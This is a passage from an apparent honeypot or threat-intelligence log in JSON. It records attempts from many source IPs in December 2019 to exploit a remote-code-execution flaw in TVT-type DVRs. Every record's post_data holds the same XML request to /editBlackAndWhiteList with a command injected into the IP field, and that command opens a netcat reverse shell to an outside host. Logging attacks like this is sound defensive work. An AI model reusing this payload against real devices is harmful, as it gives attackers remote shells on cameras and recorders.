  6410.       "source_ip_address": "189.130.46.121",
  6411.       "country": "MX",
  6412.       "user_agent": "Help",
  6413.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  6414.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  6415.       "target_port": 8080,
  6416.       "protocol": "tcp",
  6417.       "tags": [
  6418.         {
  6419.           "cve": "",
  6420.           "category": "IoT",
  6421.           "description": "TVT (Generic OEM) DVR RCE"
  6422.         }
  6423.       ],
  6424.       "event_count": 1,
  6425.       "first_seen": "2019-12-21T03:28:06Z",
  6426.       "last_seen": "2019-12-21T03:28:06Z"
  6427.     },
  6428.     {
  6429.       "source_ip_address": "111.185.231.71",
  6430.       "country": "TW",
  6431.       "user_agent": "Help",
  6432.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  6433.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  6434.       "target_port": 8080,
  6435.       "protocol": "tcp",
  6436.       "tags": [
  6437.         {
  6438.           "cve": "",
  6439.           "category": "IoT",
  6440.           "description": "TVT (Generic OEM) DVR RCE"
  6441.         }
  6442.       ],
  6443.       "event_count": 2,
  6444.       "first_seen": "2019-12-21T02:32:19Z",
  6445.       "last_seen": "2019-12-21T02:32:19Z"
  6446.     },
  6447.     {
  6448.       "source_ip_address": "5.2.143.125",
  6449.       "country": "RO",
  6450.       "user_agent": "Help",
  6451.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  6452.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  6453.       "target_port": 81,
  6454.       "protocol": "tcp",
  6455.       "tags": [
  6456.         {
  6457.           "cve": "",
  6458.           "category": "IoT",
  6459.           "description": "TVT (Generic OEM) DVR RCE"
  6460.         }
  6461.       ],
  6462.       "event_count": 6,
  6463.       "first_seen": "2019-12-21T02:15:07Z",
  6464.       "last_seen": "2019-12-21T02:15:07Z"
  6465.     },
  6466.     {
  6467.       "source_ip_address": "187.87.247.182",
  6468.       "country": "BR",
  6469.       "user_agent": "Help",
  6470.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  6471.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  6472.       "target_port": 80,
  6473.       "protocol": "tcp",
  6474.       "tags": [
  6475.         {
  6476.           "cve": "",
  6477.           "category": "IoT",
  6478.           "description": "TVT (Generic OEM) DVR RCE"
  6479.         }
  6480.       ],
  6481.       "event_count": 1,
  6482.       "first_seen": "2019-12-21T02:06:00Z",
  6483.       "last_seen": "2019-12-21T02:06:00Z"
  6484.     },
  6485.     {
  6486.       "source_ip_address": "75.183.184.112",
  6487.       "country": "US",
  6488.       "user_agent": "Help",
  6489.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  6490.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  6491.       "target_port": 81,
  6492.       "protocol": "tcp",
  6493.       "tags": [
  6494.         {
  6495.           "cve": "",
  6496.           "category": "IoT",
  6497.           "description": "TVT (Generic OEM) DVR RCE"
  6498.         }
  6499.       ],
  6500.       "event_count": 6,
  6501.       "first_seen": "2019-12-21T01:57:25Z",
  6502.       "last_seen": "2019-12-21T01:57:25Z"
  6503.     },
  6504.     {
  6505.       "source_ip_address": "58.115.167.142",
  6506.       "country": "TW",
  6507.       "user_agent": "Help",
  6508.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  6509.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  6510.       "target_port": 81,
  6511.       "protocol": "tcp",
  6512.       "tags": [
  6513.         {
  6514.           "cve": "",
  6515.           "category": "IoT",
  6516.           "description": "TVT (Generic OEM) DVR RCE"
  6517.         }
  6518.       ],
  6519.       "event_count": 6,
  6520.       "first_seen": "2019-12-21T01:56:05Z",
  6521.       "last_seen": "2019-12-21T01:56:05Z"
  6522.     },
  6523.     {
  6524.       "source_ip_address": "151.250.242.181",
  6525.       "country": "TR",
  6526.       "user_agent": "Help",
  6527.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  6528.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  6529.       "target_port": 80,
  6530.       "protocol": "tcp",
  6531.       "tags": [
  6532.         {
  6533.           "cve": "",
  6534.           "category": "IoT",
  6535.           "description": "TVT (Generic OEM) DVR RCE"
  6536.         }
  6537.       ],
  6538.       "event_count": 121,
  6539.       "first_seen": "2019-12-21T01:50:59Z",
  6540.       "last_seen": "2019-12-21T01:50:59Z"
  6541.     },
  6542.     {
  6543.       "source_ip_address": "220.135.136.169",
  6544.       "country": "TW",
  6545.       "user_agent": "Help",
  6546.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  6547.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  6548.       "target_port": 81,
  6549.       "protocol": "tcp",
  6550.       "tags": [
  6551.         {
  6552.           "cve": "",
  6553.           "category": "IoT",
  6554.           "description": "TVT (Generic OEM) DVR RCE"
  6555.         }
  6556.       ],
  6557.       "event_count": 1,
  6558.       "first_seen": "2019-12-21T01:50:58Z",
  6559.       "last_seen": "2019-12-21T01:50:58Z"
  6560.     },
  6561.     {
  6562.       "source_ip_address": "36.227.116.199",
  6563.       "country": "TW",
  6564.       "user_agent": "Help",
  6565.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  6566.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  6567.       "target_port": 80,
  6568.       "protocol": "tcp",
  6569.       "tags": [
  6570.         {
  6571.           "cve": "",
  6572.           "category": "IoT",
  6573.           "description": "TVT (Generic OEM) DVR RCE"
  6574.         }
  6575.       ],
  6576.       "event_count": 1,
  6577.       "first_seen": "2019-12-21T01:41:34Z",
  6578.       "last_seen": "2019-12-21T01:41:34Z"
  6579.     },
  6580.     {
  6581.       "source_ip_address": "73.180.196.167",
  6582.       "country": "US",
  6583.       "user_agent": "Help",
  6584.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  6585.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  6586.       "target_port": 80,
  6587.       "protocol": "tcp",
  6588.       "tags": [
  6589.         {
  6590.           "cve": "",
  6591.           "category": "IoT",
  6592.           "description": "TVT (Generic OEM) DVR RCE"
  6593.         }
  6594.       ],
  6595.       "event_count": 6,
  6596.       "first_seen": "2019-12-21T01:02:25Z",
  6597.       "last_seen": "2019-12-21T01:02:25Z"
  6598.     },
  6599.     {
  6600.       "source_ip_address": "2.238.177.94",
  6601.       "country": "IT",
  6602.       "user_agent": "Help",
  6603.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  6604.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  6605.       "target_port": 81,
  6606.       "protocol": "tcp",
  6607.       "tags": [
  6608.         {
  6609.           "cve": "",
  6610.           "category": "IoT",
  6611.           "description": "TVT (Generic OEM) DVR RCE"
  6612.         }
  6613.       ],
  6614.       "event_count": 7,
  6615.       "first_seen": "2019-12-21T00:58:04Z",
  6616.       "last_seen": "2019-12-21T00:58:04Z"
  6617.     },
  6618.     {
  6619.       "source_ip_address": "175.144.150.26",
  6620.       "country": "MY",
  6621.       "user_agent": "Help",
  6622.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  6623.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  6624.       "target_port": 8000,
  6625.       "protocol": "tcp",
  6626.       "tags": [
  6627.         {
  6628.           "cve": "",
  6629.           "category": "IoT",
  6630.           "description": "TVT (Generic OEM) DVR RCE"
  6631.         }
  6632.       ],
  6633.       "event_count": 12,
  6634.       "first_seen": "2019-12-21T00:48:21Z",
  6635.       "last_seen": "2019-12-21T00:48:21Z"
  6636.     },
  6637.     {
  6638.       "source_ip_address": "91.146.133.172",
  6639.       "country": "HU",
  6640.       "user_agent": "Help",
  6641.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  6642.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  6643.       "target_port": 8080,
  6644.       "protocol": "tcp",
  6645.       "tags": [
  6646.         {
  6647.           "cve": "",
  6648.           "category": "IoT",
  6649.           "description": "TVT (Generic OEM) DVR RCE"
  6650.         }
  6651.       ],
  6652.       "event_count": 129,
  6653.       "first_seen": "2019-12-21T00:39:38Z",
  6654.       "last_seen": "2019-12-21T00:39:38Z"
  6655.     },
  6656.     {
  6657.       "source_ip_address": "175.140.235.130",
  6658.       "country": "MY",
  6659.       "user_agent": "Help",
  6660.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  6661.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  6662.       "target_port": 81,
  6663.       "protocol": "tcp",
  6664.       "tags": [
  6665.         {
  6666.           "cve": "",
  6667.           "category": "IoT",
  6668.           "description": "TVT (Generic OEM) DVR RCE"
  6669.         }
  6670.       ],
  6671.       "event_count": 1,
  6672.       "first_seen": "2019-12-21T00:38:47Z",
  6673.       "last_seen": "2019-12-21T00:38:47Z"
  6674.     },
  6675.     {
  6676.       "source_ip_address": "151.24.17.0",
  6677.       "country": "IT",
  6678.       "user_agent": "Help",
  6679.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  6680.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  6681.       "target_port": 80,
  6682.       "protocol": "tcp",
  6683.       "tags": [
  6684.         {
  6685.           "cve": "",
  6686.           "category": "IoT",
  6687.           "description": "TVT (Generic OEM) DVR RCE"
  6688.         }
  6689.       ],
  6690.       "event_count": 1,
  6691.       "first_seen": "2019-12-20T23:59:50Z",
  6692.       "last_seen": "2019-12-20T23:59:50Z"
  6693.     },
  6694.     {
  6695.       "source_ip_address": "5.187.196.169",
  6696.       "country": "HU",
  6697.       "user_agent": "Help",
  6698.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  6699.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  6700.       "target_port": 80,
  6701.       "protocol": "tcp",
  6702.       "tags": [
  6703.         {
  6704.           "cve": "",
  6705.           "category": "IoT",
  6706.           "description": "TVT (Generic OEM) DVR RCE"
  6707.         }
  6708.       ],
  6709.       "event_count": 1,
  6710.       "first_seen": "2019-12-20T23:49:13Z",
  6711.       "last_seen": "2019-12-20T23:49:13Z"
  6712.     },
  6713.     {
  6714.       "source_ip_address": "213.129.131.242",
  6715.       "country": "CZ",
  6716.       "user_agent": "Help",
  6717.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  6718.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  6719.       "target_port": 8080,
  6720.       "protocol": "tcp",
  6721.       "tags": [
  6722.         {
  6723.           "cve": "",
  6724.           "category": "IoT",
  6725.           "description": "TVT (Generic OEM) DVR RCE"
  6726.         }
  6727.       ],
  6728.       "event_count": 1,
  6729.       "first_seen": "2019-12-20T23:45:23Z",
  6730.       "last_seen": "2019-12-20T23:45:23Z"
  6731.     },
  6732.     {
  6733.       "source_ip_address": "114.33.104.21",
  6734.       "country": "TW",
  6735.       "user_agent": "Help",
  6736.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  6737.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  6738.       "target_port": 8080,
  6739.       "protocol": "tcp",
  6740.       "tags": [
  6741.         {
  6742.           "cve": "",
  6743.           "category": "IoT",
  6744.           "description": "TVT (Generic OEM) DVR RCE"
  6745.         }
  6746.       ],
  6747.       "event_count": 5,
  6748.       "first_seen": "2019-12-20T23:21:14Z",
  6749.       "last_seen": "2019-12-20T23:21:14Z"
  6750.     },
  6751.     {
  6752.       "source_ip_address": "83.220.118.223",
  6753.       "country": "PL",
  6754.       "user_agent": "Help",
  6755.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  6756.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  6757.       "target_port": 8080,
  6758.       "protocol": "tcp",
  6759.       "tags": [
  6760.         {
  6761.           "cve": "",
  6762.           "category": "IoT",
  6763.           "description": "TVT (Generic OEM) DVR RCE"
  6764.         }
  6765.       ],
  6766.       "event_count": 1,
  6767.       "first_seen": "2019-12-20T23:18:12Z",
  6768.       "last_seen": "2019-12-20T23:18:12Z"
  6769.     },
  6770.     {
  6771.       "source_ip_address": "173.169.130.80",
  6772.       "country": "US",
  6773.       "user_agent": "Help",
  6774.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  6775.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  6776.       "target_port": 8080,
  6777.       "protocol": "tcp",
  6778.       "tags": [
  6779.         {
  6780.           "cve": "",
  6781.           "category": "IoT",
  6782.           "description": "TVT (Generic OEM) DVR RCE"
  6783.         }
  6784.       ],
  6785.       "event_count": 1,
  6786.       "first_seen": "2019-12-20T23:07:51Z",
  6787.       "last_seen": "2019-12-20T23:07:51Z"
  6788.     },
  6789.     {
  6790.       "source_ip_address": "111.253.111.1",
  6791.       "country": "TW",
  6792.       "user_agent": "Help",
  6793.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  6794.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  6795.       "target_port": 8000,
  6796.       "protocol": "tcp",
  6797.       "tags": [
  6798.         {
  6799.           "cve": "",
  6800.           "category": "IoT",
  6801.           "description": "TVT (Generic OEM) DVR RCE"
  6802.         }
  6803.       ],
  6804.       "event_count": 2,
  6805.       "first_seen": "2019-12-20T23:01:50Z",
  6806.       "last_seen": "2019-12-20T23:01:50Z"
  6807.     },
  6808.     {
  6809.       "source_ip_address": "59.126.111.191",
  6810.       "country": "TW",
  6811.       "user_agent": "Help",
  6812.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  6813.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  6814.       "target_port": 81,
  6815.       "protocol": "tcp",
  6816.       "tags": [
  6817.         {
  6818.           "cve": "",
  6819.           "category": "IoT",
  6820.           "description": "TVT (Generic OEM) DVR RCE"
  6821.         }
  6822.       ],
  6823.       "event_count": 3,
  6824.       "first_seen": "2019-12-20T04:52:57Z",
  6825.       "last_seen": "2019-12-20T22:57:43Z"
  6826.     },
  6827.     {
  6828.       "source_ip_address": "79.117.79.124",
  6829.       "country": "RO",
  6830.       "user_agent": "Help",
  6831.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  6832.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  6833.       "target_port": 81,
  6834.       "protocol": "tcp",
  6835.       "tags": [
  6836.         {
  6837.           "cve": "",
  6838.           "category": "IoT",
  6839.           "description": "TVT (Generic OEM) DVR RCE"
  6840.         }
  6841.       ],
  6842.       "event_count": 1,
  6843.       "first_seen": "2019-12-20T22:53:52Z",
  6844.       "last_seen": "2019-12-20T22:53:52Z"
  6845.     },
  6846.     {
  6847.       "source_ip_address": "180.92.156.210",
  6848.       "country": "PK",
  6849.       "user_agent": "Help",
  6850.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  6851.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  6852.       "target_port": 88,
  6853.       "protocol": "tcp",
  6854.       "tags": [
  6855.         {
  6856.           "cve": "",
  6857.           "category": "IoT",
  6858.           "description": "TVT (Generic OEM) DVR RCE"
  6859.         }
  6860.       ],
  6861.       "event_count": 1,
  6862.       "first_seen": "2019-12-20T22:49:53Z",
  6863.       "last_seen": "2019-12-20T22:49:53Z"
  6864.     },
  6865.     {
